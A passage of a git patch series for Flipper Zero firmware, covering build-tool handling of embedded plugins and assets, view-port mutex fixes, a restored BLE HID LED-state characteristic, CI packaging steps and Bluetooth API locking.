APP=self.app, )[0] + if self.app.embeds_plugins: + self.app._assets_dirs.append(self.app_work_dir.Dir("assets")) + app_artifacts.validator = self.app_env.ValidateAppImports( app_artifacts.compact )[0] if self.app.apptype == FlipperAppType.PLUGIN: for parent_app_id in self.app.requires: - fal_path = ( - f"apps_data/{parent_app_id}/plugins/{app_artifacts.compact.name}" - ) - deployable = True - # If it's a plugin for a non-deployable app, don't include it in the resources - if parent_app := self.app._appmanager.get(parent_app_id): - if not parent_app.is_default_deployable: - deployable = False - app_artifacts.dist_entries.append((deployable, fal_path)) + if self.app.fal_embedded: + parent_app = self.app._appmanager.get(parent_app_id) + if not parent_app: + raise UserError( + f"Embedded plugin {self.app.appid} requires unknown app {parent_app_id}" + ) + self.app_env.Install( + target=self.get_app_work_dir(self.app_env, parent_app) + .Dir("assets") + .Dir("plugins"), + source=app_artifacts.compact, + ) + else: + fal_path = f"apps_data/{parent_app_id}/plugins/{app_artifacts.compact.name}" + deployable = True + # If it's a plugin for a non-deployable app, don't include it in the resources + if parent_app := self.app._appmanager.get(parent_app_id): + if not parent_app.is_default_deployable: + deployable = False + app_artifacts.dist_entries.append((deployable, fal_path)) else: fap_path = f"apps/{self.app.fap_category}/{app_artifacts.compact.name}" app_artifacts.dist_entries.append( @@ -194,7 +213,7 @@ def _configure_deps_and_aliases(self, app_artifacts: FlipperExternalAppInfo): # Extra things to clean up along with the app self.app_env.Clean( app_artifacts.debug, - [*self.externally_built_files, self.app_env.Dir(self.app_work_dir)], + [*self.externally_built_files, self.app_work_dir], ) # Create listing of the app @@ -219,13 +238,10 @@ def _configure_deps_and_aliases(self, app_artifacts: FlipperExternalAppInfo): ) # Add dependencies on file assets - if self.app.fap_file_assets: + for assets_dir in self.app._assets_dirs: self.app_env.Depends( app_artifacts.compact, - self.app_env.GlobRecursive( - "*", - self.app._appdir.Dir(self.app.fap_file_assets), - ), + (assets_dir, self.app_env.GlobRecursive("*", assets_dir)), ) # Always run the validator for the app's binary when building the app @@ -344,25 +360,26 @@ def embed_app_metadata_emitter(target, source, env): if app.apptype == FlipperAppType.PLUGIN: target[0].name = target[0].name.replace(".fap", ".fal") - target.append(env.File(source[0].abspath + _FAP_META_SECTION)) + app_work_dir = AppBuilder.get_app_work_dir(env, app) + app._section_fapmeta = app_work_dir.File(_FAP_META_SECTION) + target.append(app._section_fapmeta) - if app.fap_file_assets: - target.append(env.File(source[0].abspath + _FAP_FILEASSETS_SECTION)) + # At this point, we haven't added dir with embedded plugins to _assets_dirs yet + if app._assets_dirs or app.embeds_plugins: + app._section_fapfileassets = app_work_dir.File(_FAP_FILEASSETS_SECTION) + target.append(app._section_fapfileassets) return (target, source) -def prepare_app_files(target, source, env): +def prepare_app_file_assets(target, source, env): files_section_node = next( filter(lambda t: t.name.endswith(_FAP_FILEASSETS_SECTION), target) ) - app = env["APP"] - directory = env.Dir(app._apppath).Dir(app.fap_file_assets) - if not directory.exists(): - raise UserError(f"File asset directory {directory} does not exist") - - bundler = FileBundler(directory.abspath) + bundler = FileBundler( + list(env.Dir(asset_dir).abspath for asset_dir in env["APP"]._assets_dirs) + ) bundler.export(files_section_node.abspath) @@ -376,12 +393,14 @@ def generate_embed_app_metadata_actions(source, target, env, for_signature): objcopy_str = ( "${OBJCOPY} " "--remove-section .ARM.attributes " - "--add-section ${_FAP_META_SECTION}=${SOURCE}${_FAP_META_SECTION} " + "--add-section ${_FAP_META_SECTION}=${APP._section_fapmeta} " ) - if app.fap_file_assets: - actions.append(Action(prepare_app_files, "$APPFILE_COMSTR")) - objcopy_str += "--add-section ${_FAP_FILEASSETS_SECTION}=${SOURCE}${_FAP_FILEASSETS_SECTION} " + if app._section_fapfileassets: + actions.append(Action(prepare_app_file_assets, "$APPFILE_COMSTR")) + objcopy_str += ( + "--add-section ${_FAP_FILEASSETS_SECTION}=${APP._section_fapfileassets} " + ) objcopy_str += ( "--set-section-flags ${_FAP_META_SECTION}=contents,noload,readonly,data " @@ -470,7 +489,7 @@ def AddAppBuildTarget(env, appname, build_target_name): def generate(env, **kw): env.SetDefault( - EXT_APPS_WORK_DIR="${FBT_FAP_DEBUG_ELF_ROOT}", + EXT_APPS_WORK_DIR=env.Dir(env["FBT_FAP_DEBUG_ELF_ROOT"]), APP_RUN_SCRIPT="${FBT_SCRIPT_DIR}/runfap.py", ) if not env["VERBOSE"]: From b98631c633d62eb5d1384b8101a3ce738ff53031 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Thu, 21 Sep 2023 23:34:48 +0900 Subject: [PATCH 24/40] Gui: handle view port lockup and notify developer about it (#3102) * Gui: handle view port lockup and notify developer about it * Gui: fix more viewport deadlock cases and add proper notification --- applications/services/gui/view_port.c | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/applications/services/gui/view_port.c b/applications/services/gui/view_port.c index 6723a777bb..25f670a7c1 100644 --- a/applications/services/gui/view_port.c +++ b/applications/services/gui/view_port.c @@ -6,6 +6,8 @@ #include "gui.h" #include "gui_i.h" +#define TAG "ViewPort" + _Static_assert(ViewPortOrientationMAX == 4, "Incorrect ViewPortOrientation count"); _Static_assert( (ViewPortOrientationHorizontal == 0 && ViewPortOrientationHorizontalFlip == 1 && @@ -174,9 +176,15 @@ void view_port_input_callback_set( void view_port_update(ViewPort* view_port) { furi_assert(view_port); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); + + // We are not going to lockup system, but will notify you instead + // Make sure that you don't call viewport methods inside of another mutex, especially one that is used in draw call + if(furi_mutex_acquire(view_port->mutex, 2) != FuriStatusOk) { + FURI_LOG_W(TAG, "ViewPort lockup: see %s:%d", __FILE__, __LINE__ - 3); + } + if(view_port->gui && view_port->is_enabled) gui_update(view_port->gui); - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); + furi_mutex_release(view_port->mutex); } void view_port_gui_set(ViewPort* view_port, Gui* gui) { @@ -189,14 +197,21 @@ void view_port_gui_set(ViewPort* view_port, Gui* gui) { void view_port_draw(ViewPort* view_port, Canvas* canvas) { furi_assert(view_port); furi_assert(canvas); - furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); + + // We are not going to lockup system, but will notify you instead + // Make sure that you don't call viewport methods inside of another mutex, especially one that is used in draw call + if(furi_mutex_acquire(view_port->mutex, 2) != FuriStatusOk) { + FURI_LOG_W(TAG, "ViewPort lockup: see %s:%d", __FILE__, __LINE__ - 3); + } + furi_check(view_port->gui); if(view_port->draw_callback) { view_port_setup_canvas_orientation(view_port, canvas); view_port->draw_callback(canvas, view_port->draw_callback_context); } - furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); + + furi_mutex_release(view_port->mutex); } void view_port_input(ViewPort* view_port, InputEvent* event) { From bf8357ee528ab0ee71096fe0b978fd7ee01a997c Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 19 Sep 2023 17:45:34 +0300 Subject: [PATCH 25/40] Revert "Testing hid without LED descr" This reverts commit f7f9250e55b07e7a7438d2386079d286a3d65026. --- .../f7/ble_glue/services/hid_service.c | 92 ++++++++++++++++--- .../f7/ble_glue/services/hid_service.h | 4 + .../targets/f7/furi_hal/furi_hal_bt_hid.c | 4 +- 3 files changed, 84 insertions(+), 16 deletions(-) diff --git a/firmware/targets/f7/ble_glue/services/hid_service.c b/firmware/targets/f7/ble_glue/services/hid_service.c index cf2aca24e3..d3fad0108b 100644 --- a/firmware/targets/f7/ble_glue/services/hid_service.c +++ b/firmware/targets/f7/ble_glue/services/hid_service.c @@ -12,6 +12,7 @@ typedef enum { HidSvcGattCharacteristicReportMap, HidSvcGattCharacteristicInfo, HidSvcGattCharacteristicCtrlPoint, + HidSvcGattCharacteristicLed, HidSvcGattCharacteristicCount, } HidSvcGattCharacteristicId; @@ -53,6 +54,22 @@ static bool return false; } +// LED Descriptor params for BadBT + +static uint8_t led_desc_context_buf[2] = {HID_SVC_REPORT_COUNT + 1, 2}; + +static FlipperGattCharacteristicDescriptorParams hid_svc_char_descr_led = { + .uuid_type = UUID_TYPE_16, + .uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID, + .max_length = HID_SVC_REPORT_REF_LEN, + .data_callback.fn = hid_svc_char_desc_data_callback, + .data_callback.context = led_desc_context_buf, + .security_permissions = ATTR_PERMISSION_NONE, + .access_permissions = ATTR_ACCESS_READ_WRITE, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT, +}; + static const FlipperGattCharacteristicParams hid_svc_chars[HidSvcGattCharacteristicCount] = { [HidSvcGattCharacteristicProtocolMode] = {.name = "Protocol Mode", @@ -96,6 +113,21 @@ static const FlipperGattCharacteristicParams hid_svc_chars[HidSvcGattCharacteris .security_permissions = ATTR_PERMISSION_NONE, .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [HidSvcGattCharacteristicLed] = + { + .name = + "HID LED State", // LED Characteristic and descriptor for BadBT to get numlock state for altchars + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = 1, + .uuid.Char_UUID_16 = REPORT_CHAR_UUID, + .uuid_type = UUID_TYPE_16, + .char_properties = CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE, + .security_permissions = ATTR_PERMISSION_NONE, + .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE | + GATT_NOTIFY_WRITE_REQ_AND_WAIT_FOR_APPL_RESP, + .is_variable = CHAR_VALUE_LEN_CONSTANT, + .descriptor_params = &hid_svc_char_descr_led, + }, }; static const FlipperGattCharacteristicDescriptorParams hid_svc_char_descr_template = { @@ -128,6 +160,9 @@ typedef struct { FlipperGattCharacteristicInstance input_report_chars[HID_SVC_INPUT_REPORT_COUNT]; FlipperGattCharacteristicInstance output_report_chars[HID_SVC_OUTPUT_REPORT_COUNT]; FlipperGattCharacteristicInstance feature_report_chars[HID_SVC_FEATURE_REPORT_COUNT]; + // led state + HidLedStateEventCallback led_state_event_callback; + void* led_state_ctx; } HIDSvc; static HIDSvc* hid_svc = NULL; @@ -144,6 +179,34 @@ static SVCCTL_EvtAckStatus_t hid_svc_event_handler(void* event) { } else if(blecore_evt->ecode == ACI_GATT_SERVER_CONFIRMATION_VSEVT_CODE) { // Process notification confirmation ret = SVCCTL_EvtAckFlowEnable; + } else if(blecore_evt->ecode == ACI_GATT_WRITE_PERMIT_REQ_VSEVT_CODE) { + // LED Characteristic and descriptor for BadBT to get numlock state for altchars + // + // Process write request + aci_gatt_write_permit_req_event_rp0* req = + (aci_gatt_write_permit_req_event_rp0*)blecore_evt->data; + + furi_check(hid_svc->led_state_event_callback && hid_svc->led_state_ctx); + + // this check is likely to be incorrect, it will actually work in our case + // but we need to investigate gatt api to see what is the rules + // that specify attibute handle value from char handle (or the reverse) + if(req->Attribute_Handle == (hid_svc->chars[HidSvcGattCharacteristicLed].handle + 1)) { + hid_svc->led_state_event_callback(req->Data[0], hid_svc->led_state_ctx); + aci_gatt_write_resp( + req->Connection_Handle, + req->Attribute_Handle, + 0x00, /* write_status = 0 (no error))*/ + 0x00, /* err_code */ + req->Data_Length, + req->Data); + aci_gatt_write_char_value( + req->Connection_Handle, + hid_svc->chars[HidSvcGattCharacteristicLed].handle, + req->Data_Length, + req->Data); + ret = SVCCTL_EvtAckFlowEnable; + } } } return ret; @@ -164,19 +227,17 @@ void hid_svc_start() { PRIMARY_SERVICE, 2 + /* protocol mode */ (4 * HID_SVC_INPUT_REPORT_COUNT) + (3 * HID_SVC_OUTPUT_REPORT_COUNT) + - (3 * HID_SVC_FEATURE_REPORT_COUNT) + 1 + 2 + 2 + - 2, /* Service + Report Map + HID Information + HID Control Point */ + (3 * HID_SVC_FEATURE_REPORT_COUNT) + 1 + 2 + 2 + 2 + + 4, /* Service + Report Map + HID Information + HID Control Point + LED state */ &hid_svc->svc_handle); if(status) { FURI_LOG_E(TAG, "Failed to add HID service: %d", status); } - // Maintain previously defined characteristic order - flipper_gatt_characteristic_init( - hid_svc->svc_handle, - &hid_svc_chars[HidSvcGattCharacteristicProtocolMode], - &hid_svc->chars[HidSvcGattCharacteristicProtocolMode]); - + for(size_t i = 0; i < HidSvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_init( + hid_svc->svc_handle, &hid_svc_chars[i], &hid_svc->chars[i]); + } uint8_t protocol_mode = 1; flipper_gatt_characteristic_update( hid_svc->svc_handle, @@ -218,12 +279,6 @@ void hid_svc_start() { &hid_report_chars[report_type_idx].chars[report_idx]); } } - - // Setup remaining characteristics - for(size_t i = HidSvcGattCharacteristicReportMap; i < HidSvcGattCharacteristicCount; i++) { - flipper_gatt_characteristic_init( - hid_svc->svc_handle, &hid_svc_chars[i], &hid_svc->chars[i]); - } } bool hid_svc_update_report_map(const uint8_t* data, uint16_t len) { @@ -259,6 +314,15 @@ bool hid_svc_update_info(uint8_t* data) { hid_svc->svc_handle, &hid_svc->chars[HidSvcGattCharacteristicInfo], &data); } +void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context) { + furi_assert(hid_svc); + furi_assert(callback); + furi_assert(context); + + hid_svc->led_state_event_callback = callback; + hid_svc->led_state_ctx = context; +} + bool hid_svc_is_started() { return hid_svc != NULL; } diff --git a/firmware/targets/f7/ble_glue/services/hid_service.h b/firmware/targets/f7/ble_glue/services/hid_service.h index 211adcd6c4..4d0ed4c4f9 100644 --- a/firmware/targets/f7/ble_glue/services/hid_service.h +++ b/firmware/targets/f7/ble_glue/services/hid_service.h @@ -15,6 +15,8 @@ #define HID_SVC_REPORT_COUNT \ (HID_SVC_INPUT_REPORT_COUNT + HID_SVC_OUTPUT_REPORT_COUNT + HID_SVC_FEATURE_REPORT_COUNT) +typedef uint16_t (*HidLedStateEventCallback)(uint8_t state, void* ctx); + void hid_svc_start(); void hid_svc_stop(); @@ -27,3 +29,5 @@ bool hid_svc_update_input_report(uint8_t input_report_num, uint8_t* data, uint16 // Expects data to be of length HID_SVC_INFO_LEN (4 bytes) bool hid_svc_update_info(uint8_t* data); + +void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context); diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c b/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c index 7390d309cf..43b2785784 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c @@ -204,7 +204,7 @@ void furi_hal_bt_hid_start() { hid_svc_start(); } // Configure HID Keyboard - //hid_svc_register_led_state_callback(furi_hal_bt_hid_led_state_cb, &hid_host_led_state); + hid_svc_register_led_state_callback(furi_hal_bt_hid_led_state_cb, &hid_host_led_state); kb_report = malloc(sizeof(FuriHalBtHidKbReport)); mouse_report = malloc(sizeof(FuriHalBtHidMouseReport)); @@ -228,7 +228,7 @@ void furi_hal_bt_hid_stop() { furi_assert(mouse_report); furi_assert(consumer_report); - //hid_svc_register_led_state_callback(NULL, NULL); + hid_svc_register_led_state_callback(NULL, NULL); // Stop all services if(dev_info_svc_is_started()) { dev_info_svc_stop(); From 286dbfaf0b07e84b1522118d31f56a42ecb2320a Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 12 Sep 2023 18:59:12 +0300 Subject: [PATCH 26/40] Revert "Revert "Revert "temp remove before release""" This reverts commit 4368ff4294fc12731011a0dfe2eb41d9e94ad8fb. --- applications/services/gui/view_port.c | 49 +++++++++++++++++++++++---- 1 file changed, 42 insertions(+), 7 deletions(-) diff --git a/applications/services/gui/view_port.c b/applications/services/gui/view_port.c index aff0d816b9..0e0c0e5629 100644 --- a/applications/services/gui/view_port.c +++ b/applications/services/gui/view_port.c @@ -6,8 +6,6 @@ #include "gui.h" #include "gui_i.h" -// TODO: add mutex to view_port ops - _Static_assert(ViewPortOrientationMAX == 4, "Incorrect ViewPortOrientation count"); _Static_assert( (ViewPortOrientationHorizontal == 0 && ViewPortOrientationHorizontalFlip == 1 && @@ -94,52 +92,73 @@ ViewPort* view_port_alloc() { ViewPort* view_port = malloc(sizeof(ViewPort)); view_port->orientation = ViewPortOrientationHorizontal; view_port->is_enabled = true; + view_port->mutex = furi_mutex_alloc(FuriMutexTypeRecursive); return view_port; } void view_port_free(ViewPort* view_port) { furi_assert(view_port); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); furi_check(view_port->gui == NULL); + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); + furi_mutex_free(view_port->mutex); free(view_port); } void view_port_set_width(ViewPort* view_port, uint8_t width) { furi_assert(view_port); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->width = width; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } uint8_t view_port_get_width(const ViewPort* view_port) { furi_assert(view_port); - return view_port->width; + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); + uint8_t width = view_port->width; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); + return width; } void view_port_set_height(ViewPort* view_port, uint8_t height) { furi_assert(view_port); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->height = height; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } uint8_t view_port_get_height(const ViewPort* view_port) { furi_assert(view_port); - return view_port->height; + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); + uint8_t height = view_port->height; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); + return height; } void view_port_enabled_set(ViewPort* view_port, bool enabled) { furi_assert(view_port); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); if(view_port->is_enabled != enabled) { view_port->is_enabled = enabled; if(view_port->gui) gui_update(view_port->gui); } + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } bool view_port_is_enabled(const ViewPort* view_port) { furi_assert(view_port); - return view_port->is_enabled; + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); + bool is_enabled = view_port->is_enabled; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); + return is_enabled; } void view_port_draw_callback_set(ViewPort* view_port, ViewPortDrawCallback callback, void* context) { furi_assert(view_port); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->draw_callback = callback; view_port->draw_callback_context = context; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_input_callback_set( @@ -147,34 +166,44 @@ void view_port_input_callback_set( ViewPortInputCallback callback, void* context) { furi_assert(view_port); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->input_callback = callback; view_port->input_callback_context = context; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_update(ViewPort* view_port) { furi_assert(view_port); + // TODO: Uncomment when all apps are verified to be fixed !!!!!!!!!!!!!!!!!!!!!!! + //furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); if(view_port->gui && view_port->is_enabled) gui_update(view_port->gui); + //furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_gui_set(ViewPort* view_port, Gui* gui) { furi_assert(view_port); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->gui = gui; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_draw(ViewPort* view_port, Canvas* canvas) { furi_assert(view_port); furi_assert(canvas); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); furi_check(view_port->gui); if(view_port->draw_callback) { view_port_setup_canvas_orientation(view_port, canvas); view_port->draw_callback(canvas, view_port->draw_callback_context); } + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_input(ViewPort* view_port, InputEvent* event) { furi_assert(view_port); furi_assert(event); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); furi_check(view_port->gui); if(view_port->input_callback) { @@ -182,13 +211,19 @@ void view_port_input(ViewPort* view_port, InputEvent* event) { view_port_map_input(event, orientation); view_port->input_callback(event, view_port->input_callback_context); } + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } void view_port_set_orientation(ViewPort* view_port, ViewPortOrientation orientation) { furi_assert(view_port); + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); view_port->orientation = orientation; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); } ViewPortOrientation view_port_get_orientation(const ViewPort* view_port) { - return view_port->orientation; -} \ No newline at end of file + furi_check(furi_mutex_acquire(view_port->mutex, FuriWaitForever) == FuriStatusOk); + ViewPortOrientation orientation = view_port->orientation; + furi_check(furi_mutex_release(view_port->mutex) == FuriStatusOk); + return orientation; +} From cc5607d66f51f276b9027a927a255359c8b59641 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 22 Sep 2023 23:45:47 +0300 Subject: [PATCH 27/40] include totp cli plugins --- .drone.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.drone.yml b/.drone.yml index 13fc878ed6..39a79b2cf0 100644 --- a/.drone.yml +++ b/.drone.yml @@ -45,6 +45,7 @@ steps: - wget https://github.com/xMasterX/all-the-plugins/releases/latest/download/all-the-apps-base.tgz - tar zxvf all-the-apps-base.tgz - cp -R base_pack_build/artifacts-base/* assets/resources/apps/ + - cp -R base_pack_build/apps_data/* assets/resources/apps_data/ - rm -rf base_pack_build - rm -rf all-the-apps-base.tgz - rm -f build/f7-firmware-C/toolbox/version.* @@ -113,6 +114,7 @@ steps: - wget https://github.com/xMasterX/all-the-plugins/releases/latest/download/all-the-apps-base.tgz - tar zxvf all-the-apps-base.tgz - cp -R base_pack_build/artifacts-base/* assets/resources/apps/ + - cp -R base_pack_build/apps_data/* assets/resources/apps_data/ - rm -rf base_pack_build - rm -rf all-the-apps-base.tgz - rm -f build/f7-firmware-C/toolbox/version.* @@ -413,6 +415,7 @@ steps: - wget https://github.com/xMasterX/all-the-plugins/releases/latest/download/all-the-apps-base.tgz - tar zxvf all-the-apps-base.tgz - cp -R base_pack_build/artifacts-base/* assets/resources/apps/ + - cp -R base_pack_build/apps_data/* assets/resources/apps_data/ - rm -rf base_pack_build - rm -rf all-the-apps-base.tgz - rm -f build/f7-firmware-C/toolbox/version.* From e1030e7999e014dcf19b5c4c5c3d4a5f3286b3d5 Mon Sep 17 00:00:00 2001 From: hedger Date: Mon, 25 Sep 2023 08:04:34 +0300 Subject: [PATCH 28/40] fbt: reworked tool path handling (#3105) * fbt: removed absolute paths from env setup; moved abs paths to cdb tool * fbt: moved tool lookup to cdb emitter * fbt: cdb: quote only tools with spaces in path * typo fix * fbt: pvs: suppress license expiration warning --- scripts/fbt_tools/compilation_db.py | 34 +++++++++++++++++++---------- scripts/fbt_tools/crosscc.py | 13 ++++++----- scripts/fbt_tools/pvsstudio.py | 1 + 3 files changed, 32 insertions(+), 16 deletions(-) diff --git a/scripts/fbt_tools/compilation_db.py b/scripts/fbt_tools/compilation_db.py index 1f829ddb41..3d5e469f4e 100644 --- a/scripts/fbt_tools/compilation_db.py +++ b/scripts/fbt_tools/compilation_db.py @@ -29,22 +29,26 @@ # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # -import json -import itertools import fnmatch -import SCons +import itertools +import json +from shlex import quote -from SCons.Tool.cxx import CXXSuffixes +import SCons +from SCons.Tool.asm import ASPPSuffixes, ASSuffixes from SCons.Tool.cc import CSuffixes -from SCons.Tool.asm import ASSuffixes, ASPPSuffixes +from SCons.Tool.cxx import CXXSuffixes -# TODO FL-3542: Is there a better way to do this than this global? Right now this exists so that the +# TODO: (-nofl) Is there a better way to do this than this global? Right now this exists so that the # emitter we add can record all of the things it emits, so that the scanner for the top level # compilation database can access the complete list, and also so that the writer has easy # access to write all of the files. But it seems clunky. How can the emitter and the scanner # communicate more gracefully? __COMPILATION_DB_ENTRIES = [] +# We cache the tool path lookups to avoid doing them over and over again. +_TOOL_PATH_CACHE = {} + # We make no effort to avoid rebuilding the entries. Someday, perhaps we could and even # integrate with the cache, but there doesn't seem to be much call for it. @@ -91,7 +95,7 @@ def emit_compilation_db_entry(target, source, env): __COMPILATIONDB_ENV=env, ) - # TODO FL-3541: Technically, these next two lines should not be required: it should be fine to + # TODO: (-nofl) Technically, these next two lines should not be required: it should be fine to # cache the entries. However, they don't seem to update properly. Since they are quick # to re-generate disable caching and sidestep this problem. env.AlwaysBuild(entry) @@ -122,6 +126,17 @@ def compilation_db_entry_action(target, source, env, **kw): env=env["__COMPILATIONDB_ENV"], ) + # We assume first non-space character is the executable + executable = command.split(" ", 1)[0] + if not (tool_path := _TOOL_PATH_CACHE.get(executable, None)): + tool_path = env.WhereIs(executable) or executable + _TOOL_PATH_CACHE[executable] = tool_path + # If there are spaces in the executable path, we need to quote it + if " " in tool_path: + tool_path = quote(tool_path) + # Replacing the executable with the full path + command = tool_path + command[len(executable) :] + entry = { "directory": env.Dir("#").abspath, "command": command, @@ -242,10 +257,7 @@ def generate(env, **kwargs): for entry in components_by_suffix: suffix = entry[0] builder, base_emitter, command = entry[1] - - # Assumes a dictionary emitter - emitter = builder.emitter.get(suffix, False) - if emitter: + if emitter := builder.emitter.get(suffix, False): # We may not have tools installed which initialize all or any of # cxx, cc, or assembly. If not skip resetting the respective emitter. builder.emitter[suffix] = SCons.Builder.ListEmitter( diff --git a/scripts/fbt_tools/crosscc.py b/scripts/fbt_tools/crosscc.py index 42fb4ce4b1..4890424e6a 100644 --- a/scripts/fbt_tools/crosscc.py +++ b/scripts/fbt_tools/crosscc.py @@ -2,8 +2,6 @@ import gdb import objdump -import shutil - import strip from SCons.Action import _subproc from SCons.Errors import StopError @@ -13,20 +11,25 @@ def prefix_commands(env, command_prefix, cmd_list): for command in cmd_list: if command in env: - env[command] = shutil.which(command_prefix + env[command]) + prefixed_binary = command_prefix + env[command] + if not env.WhereIs(prefixed_binary): + raise StopError( + f"Toolchain binary {prefixed_binary} not found in PATH." + ) + env.Replace(**{command: prefixed_binary}) def _get_tool_version(env, tool): verstr = "version unknown" proc = _subproc( env, - env.subst("${%s} --version" % tool), + [env.subst("${%s}" % tool), "--version"], stdout=subprocess.PIPE, stderr="devnull", stdin="devnull", universal_newlines=True, error="raise", - shell=True, + shell=False, ) if proc: verstr = proc.stdout.readline() diff --git a/scripts/fbt_tools/pvsstudio.py b/scripts/fbt_tools/pvsstudio.py index 211f46aee8..b2592eca60 100644 --- a/scripts/fbt_tools/pvsstudio.py +++ b/scripts/fbt_tools/pvsstudio.py @@ -48,6 +48,7 @@ def generate(env): "@.pvsoptions", "-j${PVSNCORES}", # "--incremental", # kinda broken on PVS side + "--disableLicenseExpirationCheck", ], PVSCONVOPTIONS=[ "-a", From 63d7d46bd3af7adfbcf7d95e8a1a7f4ebd6753bb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Mon, 25 Sep 2023 14:12:12 +0900 Subject: [PATCH 29/40] FuriHal,BleGlue: prevent sleep while HCI command executed, proper bt api rpc locking. Fixes random system lockups. (#3107) --- applications/services/bt/bt_service/bt.c | 8 ++++---- applications/services/bt/bt_service/bt_api.c | 11 +++++++---- applications/services/bt/bt_service/bt_i.h | 4 ++-- applications/system/hid_app/hid.c | 8 ++------ firmware/targets/f7/ble_glue/ble_app.c | 2 ++ firmware/targets/f7/furi_hal/furi_hal_bt.c | 3 +++ 6 files changed, 20 insertions(+), 16 deletions(-) diff --git a/applications/services/bt/bt_service/bt.c b/applications/services/bt/bt_service/bt.c index 1b12ee303c..95a9bd3042 100644 --- a/applications/services/bt/bt_service/bt.c +++ b/applications/services/bt/bt_service/bt.c @@ -359,13 +359,13 @@ static void bt_change_profile(Bt* bt, BtMessage* message) { *message->result = false; } } - furi_event_flag_set(bt->api_event, BT_API_UNLOCK_EVENT); + api_lock_unlock(message->lock); } -static void bt_close_connection(Bt* bt) { +static void bt_close_connection(Bt* bt, BtMessage* message) { bt_close_rpc_connection(bt); furi_hal_bt_stop_advertising(); - furi_event_flag_set(bt->api_event, BT_API_UNLOCK_EVENT); + api_lock_unlock(message->lock); } int32_t bt_srv(void* p) { @@ -432,7 +432,7 @@ int32_t bt_srv(void* p) { } else if(message.type == BtMessageTypeSetProfile) { bt_change_profile(bt, &message); } else if(message.type == BtMessageTypeDisconnect) { - bt_close_connection(bt); + bt_close_connection(bt, &message); } else if(message.type == BtMessageTypeForgetBondedDevices) { bt_keys_storage_delete(bt->keys_storage); } diff --git a/applications/services/bt/bt_service/bt_api.c b/applications/services/bt/bt_service/bt_api.c index 2f56b50a39..e31031783b 100644 --- a/applications/services/bt/bt_service/bt_api.c +++ b/applications/services/bt/bt_service/bt_api.c @@ -6,11 +6,14 @@ bool bt_set_profile(Bt* bt, BtProfile profile) { // Send message bool result = false; BtMessage message = { - .type = BtMessageTypeSetProfile, .data.profile = profile, .result = &result}; + .lock = api_lock_alloc_locked(), + .type = BtMessageTypeSetProfile, + .data.profile = profile, + .result = &result}; furi_check( furi_message_queue_put(bt->message_queue, &message, FuriWaitForever) == FuriStatusOk); // Wait for unlock - furi_event_flag_wait(bt->api_event, BT_API_UNLOCK_EVENT, FuriFlagWaitAny, FuriWaitForever); + 